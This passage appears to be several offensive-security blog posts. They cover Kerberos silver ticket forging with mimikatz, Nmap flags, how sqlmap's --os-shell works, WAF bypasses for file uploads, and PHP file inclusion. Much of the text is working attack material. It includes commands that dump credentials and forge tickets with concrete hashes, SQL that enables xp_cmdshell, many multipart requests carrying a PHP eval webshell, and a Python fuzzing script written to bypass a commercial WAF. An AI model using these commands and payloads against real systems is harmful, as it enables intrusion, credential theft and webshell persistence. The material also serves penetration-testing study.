net user ccc Qwe1234 /add /domain
net group "Domain Admins" cccc /add /domain

2. Forging a Silver Ticket

Logging in as the newly created domain administrator, mimikatz is run with administrator privileges to extract the necessary SID and NTLM hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

The hash and mimikatz are then copied to a local account on a domain‑joined machine. After purging the existing ticket cache, the silver ticket is forged and passed directly into the session using the following command:

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt

The general usage pattern is:

kerberos::golden /domain:<domain> /sid:<domain_SID> /target:<target_server> /service:<service_type> /rc4:<NTLM_hash> /user:<username> /ptt

The <username> may be chosen arbitrarily.

Since no TGT is available to repeatedly request tickets, the attacker must target a specific service. The service type can be selected from the list below.

The command dir \\scene.cyberpeace.com\c$ executes successfully, and a domain administrator account can be created.

Differences between Golden and Silver Tickets

Scope of Access

Golden Ticket: Forges a TGT, thereby granting access to any Kerberos‑protected service.
Silver Ticket: Forges an ST, granting access only to the specific service for which it was crafted (e.g., CIFS).

Authentication Flow

Golden Ticket: Interacts with the KDC but does not interact with the AS.
Silver Ticket: Does not interact with the KDC at all; it communicates directly with the target server.

Encryption Mechanism

Golden Ticket: Encrypted with the NTLM hash of krbtgt.
Silver Ticket: Encrypted with the NTLM hash of the service account associated with the target server.

Common Nmap Parameters

Excalibra — Tue, 09 Jun 2026 23:21:22 +0000

The following table lists frequently used Nmap parameters along with their descriptions in an academic context.

Parameter	Description
`-sT`	TCP connect() scan. This method records a large number of connection requests and error messages in the target host’s logs.
`-sS`	Half-open scan. Few systems log this activity; however, root privileges are required.
`-sF`, `-sN`	Stealth FIN packet scan, Xmas Tree scan, and Null scan modes.
`-sP`	Ping scan. Nmap employs a ping scan by default when scanning ports; only if the host is alive will Nmap continue scanning.
`-sU`	UDP scan. UDP scans are inherently unreliable.
`-sA`	This advanced scanning method is typically used to traverse firewall rule sets.
`-sV`	Probe port service versions.
`-Pn`	Ping is not required prior to scanning. Some firewalls block ping commands; this option can be used to bypass that restriction.
`-v`	Display the scanning process. Recommended for verbose output.
`-h`	Help option. Provides the clearest and most comprehensive help documentation.
`-p`	Specify ports, for example: `1-65535`, `1433`, `135`, `22`, `80`, etc.
`-O`	Enable remote operating system detection. False positives may occur.
`-A`	Comprehensive system detection, enabling script detection and advanced scanning.
`-oN` / `-oX` / `-oG`	Write the report to a file in three respective formats: normal, XML, and grepable.
`-T4`	For TCP ports, disable dynamic scan delays exceeding 10 ms.
`-iL`	Read a list of hosts from a file, for example: `-iL C:\ip.txt`.

Practical Examples

Scan open ports on a specified IP address:

nmap -sS -p 1-65535 -v XXX.XXX.XXX.XXX
Scan live hosts in a /24 subnet:

nmap -sP XXX.XXX.XXX.XXX/24
Scan specific ports:

nmap -p 80,1433,22,1521 XXX.XXX.XXX.XXX
Detect the host operating system:

nmap -O XXX.XXX.XXX.XXX
Comprehensive system detection:

nmap -v -A XXX.XXX.XXX.XXX

Note: By default, Nmap scans 1,000 high-risk ports.
Scan a specified IP range:

nmap XXX.XXX.XXX.XXX-XXX
Penetrate a firewall for scanning (when ping is blocked):

nmap -Pn -A XXX.XXX.XXX.XXX
Use a script to scan web‑sensitive directories:

nmap -p 80 --script=http-enum.nse XXX.XXX.XXX.XXX

The Principle of sqlmap’s `--os-shell

Excalibra — Tue, 09 Jun 2026 22:22:33 +0000

Preface

When the database is MySQL, PostgreSQL, or Microsoft SQL Server, and the current user possesses the privileges required to invoke specific functions, sqlmap can be used to obtain an operating system shell.

In the case of MySQL and PostgreSQL, sqlmap uploads a binary library containing user-defined functions, sys_exec() and sys_eval(). These two functions, once created, are capable of executing system commands.

For Microsoft SQL Server, sqlmap employs the xp_cmdshell stored procedure. If this procedure is disabled (it is disabled by default in Microsoft SQL Server 2005 and later), sqlmap will attempt to re‑enable it; if it does not exist, sqlmap will create it automatically.

The following sections illustrate the principles behind the --os-shell feature by examining injection scenarios and direct database connections for SQL Server and MySQL.

Injection-Based `--os-shell`

Prerequisites:

Write access to the web server’s document root.
The secure_file_priv variable is either empty or set to a writable path.

During a standard SQL injection, --os-shell operates primarily by uploading a sqlmap trojan, which is subsequently used to execute commands.

Test Environment

Operating system: Microsoft Windows Server 2012 Standard
Database: MySQL 5.1.60
Scripting language: PHP 5.4.45
Web server: Apache 2.4.39

Initially, sqlmap is employed to detect the injection point.

The --os-shell flag is then invoked.

At this stage, sqlmap performs three key actions:

Probes the target to gather basic information.
Uploads a shell to the target web server.
Removes the shell upon exiting.

A packet capture with Wireshark, filtered to display only HTTP traffic, reveals the sequence.

Step 1 – sqlmap uploads a trojan that provides file‑upload functionality.

Following the HTTP stream reveals URL‑encoded content. Once decoded, it is apparent that the file is written to disk using INTO OUTFILE. The trojan’s code is hex‑encoded; decoding it exposes an upload‑capable script.

Step 2 – The uploaded trojan is used to transfer the actual shell.

Tracking the HTTP stream shows the shell’s source code in the request body.

Step 3 – Commands are passed to the shell for execution.

Step 4 – The shell is deleted.

A command is issued to remove the shell file.

Database‑Based `--os-shell`

When the database permits external connections, sqlmap can obtain a shell directly via the --os-shell flag.

Microsoft SQL Server

Prerequisites:

The database server accepts external connections.
The current database user holds sa (system administrator) privileges.

With SQL Server, --os-shell relies on the xp_cmdshell extended stored procedure to execute operating system commands.

Test Environment

Operating system: Microsoft Windows Server 2016 Datacenter
Database: Microsoft SQL Server 2008

Sqlmap is used to connect to the database.

sqlmap -d "mssql://user:password@ip:port/dbname"

Sqlmap does not ship with the pymssql module; it must be installed manually.

After executing python -m pip install pymssql, the connection is established successfully.

The --os-shell command is then issued.

At this point, sqlmap performs three key actions:

Identifies the database type and displays it.
Checks whether the current user is a database administrator (i.e., verifies sa privileges).
Determines whether xp_cmdshell is enabled; if it is not, sqlmap attempts to enable it.

In this instance, sqlmap was unable to activate xp_cmdshell automatically.

Consequently, --sql-shell was used to enable it manually:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

When RECONFIGURE; was executed, sqlmap reported a syntax error.

A Python script calling the pymssql module was written to isolate the issue.

The SELECT @@version; command could be executed successfully.

The error produced when executing RECONFIGURE; matched the error observed in --sql-shell.

Because sqlmap uses the pymssql module for database connections, it was necessary to enable xp_cmdshell using an alternative tool. Navicat was employed for this purpose.

The commands to enable xp_cmdshell were then executed.

Once enabled, commands could be issued either through Navicat or by using sqlmap’s --os-shell.

If a tool such as Navicat is used for the initial connection, one must manually verify whether the user is a database administrator and whether xp_cmdshell is present.

SELECT IS_SRVROLEMEMBER('sysadmin')

This determines if the user holds the sa role.

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell';

A result of 1 indicates that xp_cmdshell exists.

After these checks, the process follows the same pattern described above.

A Wireshark capture of the TCP stream reveals the data sent.

The code was copied to a text file and certain characters were replaced.

Before executing the user‑supplied command, sqlmap runs ping -n 10 127.0.0.1 and echo 1 (marked as ① and ② in the figure). The commands that follow (③ onwards) are hex‑encoded.

MySQL

Prerequisites:

The database server permits external connections.
The secure_file_priv variable is either empty or set to a writable path.
Write access to the MySQL installation directory is available.
For versions greater than 5.1, the /lib/plugin directory must exist.

The MySQL --os-shell method leverages user‑defined functions (UDFs) to execute commands. This topic is covered in greater detail in the article MySQL UDF Privilege Escalation.

Test Environment

Operating system: Microsoft Windows Server 2012 Standard
Database: MySQL 5.1.60

Sqlmap is used to connect to the database.

After installing pymysql, a second connection attempt is made; upon success, sqlmap displays the approximate database version.

The --os-shell flag is then issued.

At this point, sqlmap performs five key actions:

Connects to the MySQL database and retrieves its version.
Verifies whether the current user is a database administrator.
Checks if the sys_exec and sys_eval functions have already been created.
Uploads the appropriate DLL file to the target directory.
When the user exits, removes the sys_exec and sys_eval functions (by default).

A Wireshark TCP stream capture is analysed. The image below provides a detailed illustration of the process.

A Comprehensive Overview of WAF Bypass Methods for File Upload Vulnerabilities

Excalibra — Mon, 08 Jun 2026 02:06:22 +0000

Analysis of HTTP File Upload Packets

File upload is fundamentally a client-side POST request wherein the message body contains upload information. The front-end upload page must specify an enctype of multipart/form-data to permit a successful upload.

A typical file upload packet resembles the following:

POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--

The following characteristics may be extracted from the above:

The request header Content-Type exhibits these features:
- multipart/form-data – indicates that the request is a file upload request.
- Presence of a boundary string – serves as a delimiter to separate POST data.
The POST body contains:
- Content-Disposition – a response header that indicates whether the content is expected to be displayed inline in the browser.
- name – the name of the HTML form field referenced by this part.
- filename – a string that holds the original name of the file being transmitted.
The value of boundary in the POST body is the value declared in Content-Type prefixed with two hyphens --, except for the final closing boundary.
The closing boundary appends two additional hyphens by default (in testing, removing the last boundary line does not prevent a successful upload).

Modifiable Elements in a File Upload Packet

Content-Disposition – generally alterable.
name – the form parameter value; should not be altered.
filename – the file name; can be modified.
Content-Type – the file MIME type; can be changed depending on context.
boundary – the content delimiter; can be modified.

How WAFs Intercept Malicious Files

Consider how one might design a WAF. Defence may be approached from several angles:

File name – parse the file name and determine whether it appears in a blacklist.
File content – parse the file content to detect whether it constitutes a webshell.
File directory permissions – typically requires a host-based WAF.

Currently, most common WAFs parse the file name; a minority, such as Chaitin, also inspect file content. The discussion below focuses on file‑name‑based interception.

The general process is as follows:

Extract the boundary value from the Content-Type header of the request.
Using the boundary, parse the POST data to obtain the file name.
Determine whether the file name falls within an interception blacklist or outside a whitelist.

Having understood how a WAF intercepts malicious files, I classify common bypass methods into the following categories. A demonstration using the latest version of Safedog concludes the article.

Character Mutations

Quotation Mark Variations

Values in header fields can be enclosed in single quotes, double quotes, or no quotes at all, without affecting the upload outcome.

Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'

It is also possible to omit the trailing quotation mark of the filename string, and the upload will still succeed.

Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;

Case Modifications

The following three fixed strings may be subjected to case changes:

Content-Disposition
name
filename

For example, name may become Name, and Content-Disposition may become content-disposition.

Inserting Line Break Characters

Line breaks can be inserted between a field value and the equals sign; here the character [0x09] is used to represent a line break.

Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];

Multiple Semicolons

During file parsing, the presence of multiple semicolons may prevent the WAF from correctly extracting the file name, thereby enabling a bypass.

Content-Disposition: form-data; name="file_x";;; filename="test.php"

Multiple Equals Signs

Using multiple equals signs within the POST content has no effect on file upload.

Content-Disposition: form-data; name=="file_x"; filename===="test.php"

Altering the Content-Disposition Value

Some WAFs assume that the value of Content-Disposition must be form-data, which can lead to bypasses. In fact, Content-Disposition may be arbitrarily altered or left empty.

Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo    r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"

Malformed Boundary Headers

The boundary can be mutated in the following ways without affecting the upload.

Normal boundary:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111

Malformed boundary variations:

The case of multipart/form-data may be changed:

  Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111

Spaces may separate multipart/form-data and boundary, and arbitrary content may be inserted between them:

  Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111

A comma may separate multipart/form-data and boundary, with arbitrary content inserted between:

  Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111

Arbitrary content may be inserted directly before the boundary string (feasible on PHP):

  Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111

At the end of the boundary, a comma or semicolon may be used to separate and insert arbitrary content:

  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc

Sequence Reversal

Swapping the Order of name and filename

Because Content-Disposition must appear first, only the order of name and filename can be reversed. Some WAFs may expect name before filename, enabling a bypass.

Content-Disposition: form-data; filename="xx.php"; name="file_x"

Swapping the Order of Content-Disposition and Content-Type

Similarly, the order of Content-Disposition and Content-Type can be exchanged.

Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"

Swapping the Order of Different Boundary Contents

The contents of different boundary parts may also be reordered without affecting the upload.

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Data Repetition

Repetition of Boundary Content

The file ultimately uploaded is shell.php rather than shell.jpg. However, if only the first file name is extracted, a bypass may occur.

------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

The following variant also achieves a successful upload:

------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

Repetition of filename

The final uploaded file name is shell.php. However, because the file name is extracted by matching the first occurrence, regular expressions will typically match the first instance.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

Data Overflow

Inserting Junk Data Between name and filename

A large volume of junk data may be inserted between name and filename.

POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; 
filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Note: A semicolon must be placed after the large volume of junk data.

Inserting Junk Data into the Boundary String

The boundary string can contain arbitrary data (subject to length limitations). When the length exceeds what the WAF can process but the web server can still handle, the file upload may bypass the WAF.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--

Inserting Junk Data at the End of the Boundary

As mentioned previously, arbitrary data may be appended to the end of the boundary string; thus, a large volume of junk data can be added there.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Inserting Junk Data Between multipart/form-data and boundary

Since it is possible to insert any data between multipart/form-data and boundary, a large volume of junk data can be placed there.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Data Truncation

Carriage Return and Line Feed Truncation

POST request header values (not the header lines themselves) may contain line breaks, provided there are no blank lines. If the WAF stops matching the file name at a line break, a bypass can occur.

Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"

Semicolon Truncation

If the WAF truncates the file name at a semicolon, a bypass can be achieved.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"

Quotation Mark Truncation

PHP versions prior to 5.3 exhibit single/double quote truncation behaviour.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

Null Byte Truncation

In a URL, %00 represents the ASCII null character (0x00), which is reserved as a special character; when encountered, reading is terminated. Here [0x00] denotes the hexadecimal null byte.

Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"

Practical Demonstration – Bypassing Safedog File Upload Protection

Experimental Environment

Target: Upload-Labs (Pass‑1)
Database: MySQL 5.5
Web script: PHP 5.4.19
WAF: Safedog for Apache v4.0.3025

During testing, only the upload protection module of Safedog was enabled; otherwise, other modules could delete files from the target environment due to false positives.

Practical Case 1 – Writing a Fuzzing Script to Exploit Data Overflow

Given that the boundary string can accommodate a large volume of junk data, a fuzzing script was written to test whether the WAF could be bypassed.

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
import random

url="http://hackrock.com:813/Pass-01/index.php"

def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

for i in range(10,8000,50):
    stri = generate_random_str(i)
    try:

        headers = {
            "Host":"hackrock.com:813",
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
            "Referer":"http://hackrock.com:813/Pass-01/index.php",
            "Content-Type":"multipart/form-data; boundary=----" + stri
        }
        payload = """
            ------""" + stri + """
            Content-Disposition: form-data; name="upload_file"; filename="shell.php"
            Content-Type: image/png

            <?php @eval($_POST['hack']); ?>

            ------""" + stri + """
            Content-Disposition: form-data; name="submit"

            上传
            ------""" + stri + """--

        """

        response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
        result = response.content
        print result
        print stri
        print "\n"
        #print payload
        #print headers
        if result.count('上传'):
            print "Length is : %s " % str(i)
            break
    except:
        print "."

The script was written using Python 2.7; ensure a Python 2 environment and the required libraries are installed.

The test result indicated that a boundary length of 3710 characters was effective:

Although the file was not actually uploaded to the server (due to the target environment’s restriction), the Safedog WAF was successfully bypassed.

The crafted packet was then sent via Burp Suite:

The bypass was achieved.

Practical Case 2 – Bypassing Using Null Byte Truncation

The file was uploaded while intercepting with Burp Suite, and the filename value was changed to: shell.php;.jpg

The hex view was then opened (the semicolon’s hexadecimal value is 0x3b), and 3b was altered to 00:

The packet was sent.

The bypass was successful.

Different ways to get a shell using PHP file inclusion vulnerabilities

Excalibra — Mon, 08 Jun 2026 01:16:52 +0000

Related Functions

The following four functions in PHP are typically responsible for file inclusion vulnerabilities:

If an error occurs during inclusion with require() (e.g., the file does not exist), execution will halt immediately, and subsequent statements will not be executed.

If an error occurs with include(), only a warning is issued, and execution continues with subsequent statements.

require_once() and include_once() behave similarly to require() and include(), respectively. If a file has already been included, require_once() and include_once() will not include it again, thereby avoiding issues such as function redefinition or variable reassignment.

When these four functions are used to include files, regardless of the file type (e.g., image, text file), the file is parsed directly as PHP. Test code:

<?php
    $file = $_GET['file'];
    include $file;
?>

In the same directory, there is a file named phpinfo.txt with the following content: <?php phpinfo(); ?>. Simply visit:

fileinclude.php?file=phpinfo.txt

This will successfully execute phpinfo().

Scenario

The application uses one of the relevant file inclusion functions.
The file inclusion function uses a dynamic variable, e.g., include $file;.
An attacker can control that variable, e.g., $file = $_GET['file'];.

Classification

LFI (Local File Inclusion)

Local File Inclusion (LFI) refers to vulnerabilities that allow an attacker to include and execute local files. In most cases, encountered file inclusion vulnerabilities are LFI.

This type of vulnerability is not affected by the allow_url_fopen or allow_url_include settings. For example, setting both to Off in php.ini and restarting the server:

Visiting ?page=../../../phpinfo.php still successfully parses phpinfo().

RFI (Remote File Inclusion)

